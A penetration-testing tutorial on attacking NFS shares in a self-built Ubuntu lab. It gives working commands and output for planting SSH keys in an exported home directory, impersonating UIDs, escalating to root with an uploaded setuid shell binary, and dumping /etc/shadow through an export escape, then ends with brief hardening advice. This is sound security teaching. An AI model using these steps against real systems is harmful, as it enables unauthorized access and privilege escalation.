Pentesting NFS

Network File System (NFS) is a distributed filesystem that dates back to 1984. Several versions of NFS have been developed, with the most recent being NFSv4, which itself dates from the year 2000.

By default, NFS has many security weaknesses. It does not encrypt traffic and it lacks modern authentication methods, although Kerberos can be used to implement authentication and transport encryption.

This article will be looking at performing a penetration test of NFS file shares.


Configuring NFS

First, we will configure a server to test. I’m using Ubuntu server 24.04.

Install the nfs-kernel-server package, and start the service.

user@fileshare:~$ sudo apt install nfs-kernel-server
user@fileshare:~$ sudo systemctl start nfs-kernel-server
user@fileshare:~$ sudo systemctl enable nfs-kernel-server

Add a configuration into /etc/exports.

# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/user *(rw,sync,no_subtree_check,no_root_squash)

Based on the configuration added, there are three vulnerabilities we will be looking at exploiting.

  • Exporting home directories
  • Root squashing is disabled
  • Subtree checking is disabled

Exploiting Writeable Home Directories

Use the showmount command to view exported shares. We can see a users home directory is exported.

┌──(kali㉿kali)-[~]
└─$ showmount -e 192.168.1.134
Export list for 192.168.1.134:
/home/user *

The NFS share can then be accessed using the mount command. We can see there is a .ssh directory within the mounted share.

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.1.134:/home/user /tmp/nfs_mount
[sudo] password for kali: 

┌──(kali㉿kali)-[/tmp]
└─$ ls -la  /tmp/nfs_mount
total 36
drwxr-x---  4 kali kali 4096 Jan  6 16:54 .
drwxrwxrwt 13 root root  340 Jan  6 17:00 ..
-rw-------  1 kali kali   47 Jan  6 14:50 .bash_history
-rw-r--r--  1 kali kali  220 Mar 31  2024 .bash_logout
-rw-r--r--  1 kali kali 3771 Mar 31  2024 .bashrc
drwx------  2 kali kali 4096 Jan  6 14:43 .cache
-rw-r--r--  1 kali kali  807 Mar 31  2024 .profile
-rw-rw-r--  1 kali kali    5 Jan  6 16:37 README.txt
drwx------  2 kali kali 4096 Jan  6 14:23 .ssh
-rw-r--r--  1 kali kali    0 Jan  6 14:43 .sudo_as_admin_successful
-rw-------  1 kali kali  736 Jan  6 16:37 .viminfo

On the attacker system, generate an SSH public/private key pair.

┌──(kali㉿kali)-[/tmp]
└─$ ssh-keygen -f bordergate                                 
Generating public/private ed25519 key pair.
Enter passphrase for "bordergate" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in bordergate
Your public key has been saved in bordergate.pub
The key fingerprint is:
SHA256:rVo1MyiWg5PujrB4sMbQ2FZ0KXBUGgkAUjOO6Wtp48Y kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|=o*++o..         |
|.+ ++oo          |
|o ...o           |
|.   .o . o       |
| = .+ = S *      |
|+ *. o o o +     |
|=X  .   o        |
|*Eoo   o         |
|=o..o .          |
+----[SHA256]-----+

┌──(kali㉿kali)-[/tmp]
└─$ cat bordergate                                      
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC7jrFQtHxuLLAwmYwCe3C2dRYH2V4K+cXsVd0QkZY5ngAAAJD7amR/+2pk
fwAAAAtzc2gtZWQyNTUxOQAAACC7jrFQtHxuLLAwmYwCe3C2dRYH2V4K+cXsVd0QkZY5ng
AAAEAbzl6ZQXuHrcS2Z0NkiMt9LHt5jLssHlKsbHipN9G9wLuOsVC0fG4ssDCZjAJ7cLZ1
FgfZXgr5xexV3RCRljmeAAAACWthbGlAa2FsaQECAwQ=
-----END OPENSSH PRIVATE KEY-----

┌──(kali㉿kali)-[/tmp]
└─$ cat bordergate.pub                                  
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILuOsVC0fG4ssDCZjAJ7cLZ1FgfZXgr5xexV3RCRljme kali@kali

Inject the key into the shares .ssh/authorized_keys file.

┌──(kali㉿kali)-[/tmp]
└─$ cat bordergate.pub >> nfs_mount/.ssh/authorized_keys

┌──(kali㉿kali)-[/tmp]
└─$ cat nfs_mount/.ssh/authorized_keys                  
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILuOsVC0fG4ssDCZjAJ7cLZ1FgfZXgr5xexV3RCRljme kali@kali

You can then use the private key to login to the server.

┌──(kali㉿kali)-[/tmp]
└─$ ssh -i bordergate user@192.168.1.134
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Jan  6 10:05:40 PM GMT 2026

  System load:  0.0                Processes:               131
  Usage of /:   10.8% of 24.44GB   Users logged in:         1
  Memory usage: 14%                IPv4 address for enp0s3: 192.168.1.134
  Swap usage:   0%

Bypassing Filesystem Permissions

Bypassing filesystem permissions on exported shares is trivial. Files will be owned by the UID values on the host system.

For instance, we can see that the SECRET.txt file is owned by UID 1001.

┌──(kali㉿kali)-[/tmp/nfs_mount]
└─$ ll
total 24
-rw-rw-r-- 1 kali kali     5 Jan  6 21:37 README.txt
-rwsrwsr-x 1 root kali 16064 Jan  6 22:09 root_shell
-r-------- 1 1001 1001     7 Jan  9 17:21 SECRET.txt
                                                                                                                        
┌──(kali㉿kali)-[/tmp/nfs_mount]
└─$ cat SECRET.txt 
cat: SECRET.txt: Permission denied

As such, we can’t access the files. But if we create a user with the same UID (1001) locally and and impersonate that user we can then read the contents of the SECRET.txt file.

┌──(kali㉿kali)-[/tmp/nfs_mount]
└─$ sudo useradd -u 1001 bordergate
                                                                                        
┌──(kali㉿kali)-[/tmp]
└─$ sudo bash    

┌──(root㉿kali)-[/tmp]
└─# su bordergate 

bordergate@kali:/tmp$ cd nfs_mount/
bordergate@kali:/tmp/nfs_mount$ ls
README.txt  root_shell	SECRET.txt
bordergate@kali:/tmp/nfs_mount$ cat SECRET.txt 
SECRET

Exploiting no_root_squash

The no_root_squash option allows root users on the client machine to have root privileges on the server’s file system. This is a massive security risk, since a client can upload a setuid root binary to escalate privileges on the target system.

To exploit this condition, create a setuid C application with the following code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

Compile using gcc, ensure it’s owned by root and add the setuid flag.

┌──(kali㉿kali)-[~]
└─$ gcc root_shell.c -o root_shell

┌──(root㉿kali)-[/home/kali]
└─# chown root root_shell

┌──(root㉿kali)-[/home/kali]
└─# chmod +s root_shell

┌──(root㉿kali)-[/home/kali]
└─# ll root_shell
-rwsrwsr-x 1 root kali 16064 Jan  6 16:31 root_shell

Copy the file to the NFS share ensuring the permissions are correct.

┌──(kali㉿kali)-[/tmp]
└─$ ll nfs_mount                           
total 20
-rw-rw-r-- 1 kali kali     5 Jan  6 21:37 README.txt
-rwsrwsr-x 1 root kali 16064 Jan  6 22:09 root_shell

Connecting into the target system as a user and running the executable provides root access.

user@fileshare:~$ ls
README.txt  root_shell
user@fileshare:~$ ./root_shell 
root@fileshare:~# id
uid=0(root) gid=0(root) groups=0(root),27(sudo),1000(user)
root@fileshare:~# 

Exploiting no_subtree_check

The no_subtree_check option in NFS disables the check that the NFS server performs to verify whether a file or directory requested by the client actually resides within the exported directory or one of its subdirectories. While this can improve performance by avoiding redundant checks, it can also introduce security risks by making it easier for an attacker to manipulate or access files outside the intended directory structure.

The following tools can be used to exploit this condition.

https://github.com/hvs-consulting/nfs-security-tooling

The tool can be installed on Kali Linux using the following commands.

sudo apt install pkg-config libfuse3-dev python3-dev

┌──(kali㉿kali)-[~]
└─$ pipx install git+https://github.com/hvs-consulting/nfs-security-tooling.git
  installed package nfs_security_tooling 0.1, installed using Python 3.13.9
  These apps are now globally available
    - fuse_nfs
    - nfs_analyze
done! 

Running the nfs_analyze application against the target server shows it is able to successfully access the systems /etc/shadow file due to the no_subtree_check directive being in place.

┌──(kali㉿kali)-[~]
└─$ nfs_analyze 192.168.1.134
Checking host 192.168.1.134
Supported protocol versions reported by portmap:
Protocol          Versions  
portmap           2, 3, 4   
status monitor 2  1         
mountd            1, 2, 3   
nfs               3, 4      
nfs acl           3         
nfs lock manager  1, 3, 4   

Available Exports reported by mountd:
Directory   Allowed clients  Auth methods  Export file handle                                        
/home/user  *(wildcard)      sys           0100070065ac0a000000000019548b48d914438cbec47a14f9b26726  

Connected clients reported by mountd:
Client             Export      
192.168.1.253(up)  /home/user  

Supported NFS versions reported by nfsd:
Version  Supported  
3        Yes        
4.0      Yes        
4.1      Yes        
4.2      Yes        

NFSv3 Windows File Handle Signing: OK, server probably not Windows, File Handle not 32 bytes long

Trying to escape exports
Export: /home/user: file system type ext/xfs, parent: None, 655361
Escape successful, root directory listing:
root var tmp etc srv bin . mnt .. usr opt sbin.usr-is-merged snap lib64 bin.usr-is-merged lib media home lost+found proc sbin lib.usr-is-merged sys boot cdrom run dev                                                                                                                  
Root file handle: 0100070265ac0a000000000019548b48d914438cbec47a14f9b2672602000000000000000200000000000000

GID of shadow group: 42
Content of /etc/shadow:
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::                                                                                                                 
bin:*:20305:0:99999:7:::                                                                                                                    
sys:*:20305:0:99999:7:::                                                                                                                    
sync:*:20305:0:99999:7:::                                                                                                                   
games:*:20305:0:99999:7:::                                                                                                                  
man:*:20305:0:99999:7:::                                                                                                                    
lp:*:20305:0:99999:7:::                                                                                                                     
mail:*:20305:0:99999:7:::                                                                                                                   
news:*:20305:0:99999:7:::                                                                                                                   
uucp:*:20305:0:99999:7:::                                                                                                                   
proxy:*:20305:0:99999:7:::                                                                                                                  
www-data:*:20305:0:99999:7:::                                                                                                               
backup:*:20305:0:99999:7:::                                                                                                                 
list:*:20305:0:99999:7:::                                                                                                                   
irc:*:20305:0:99999:7:::                                                                                                                    
_apt:*:20305:0:99999:7:::                                                                                                                   
nobody:*:20305:0:99999:7:::                                                                                                                 
systemd-network:!*:20305::::::                                                                                                              
systemd-timesync:!*:20305::::::                                                                                                             
dhcpcd:!:20305::::::                                                                                                                        
messagebus:!:20305::::::                                                                                                                    
systemd-resolve:!*:20305::::::                                                                                                              
pollinate:!:20305::::::                                                                                                                     
polkitd:!*:20305::::::                                                                                                                      
syslog:!:20305::::::                                                                                                                        
uuidd:!:20305::::::                                                                                                                         
tcpdump:!:20305::::::                                                                                                                       
tss:!:20305::::::                                                                                                                           
landscape:!:20305::::::                                                                                                                     
fwupd-refresh:!*:20305::::::                                                                                                                
usbmux:!:20459::::::                                                                                                                        
user:$6$oRbD8eCOhQDTTOcF$zVs/eXZdwr8ZjLNefYgrzkm/vbJQineaKxunEBqiQMzHZeuOIjQaIfFGXv1fLfhXSizWKRFDWBtIc6lSUDe450:20459:0:99999:7:::          
sshd:!:20459::::::                                                                                                                          
_rpc:!:20459::::::                                                                                                                          
statd:!:20459::::::                                                                                                                         
                                                                                                                                            
NFSv4 overview and auth methods (incomplete)
home: pseudo
    user: sys
        .cache: sys
        .ssh: sys

NFSv4 guessed exports (Linux only, may differ from /etc/exports):
Directory   Auth methods  Export file handle                                        
/home/user  sys           0100070065ac0a000000000019548b48d914438cbec47a14f9b26726  


Trying to guess server OS
OS       Property                                      Fulfilled  
Linux    File Handles start with 0x0100                Yes        
Windows  NFSv3 File handles are 32 bytes long          No         
Windows  Only NFS versions 3 and 4.1 supported         No         
FreeBSD  Mountd reports subnets without mask           Unknown    
NetApp   netapp partner protocol supported             No         
HP-UX    Only one request per TCP connection possible  No         

Final OS guess: Linux


In Conclusion

Kerberos can be configured to provide authentication and transport layer encryption. A description of how to do this is listed in the Ubuntu NFS documentation.

https://documentation.ubuntu.com/server/how-to/networking/install-nfs/

In addition to implementing Kerberos, consider using the following NFS share mount options to further improve security.

  • noexec: Prevents the execution of binaries on the NFS mount
  • nosuid: Prevents setting user IDs on mounted files
  • nodev: Prevents device files from being interpreted on the mount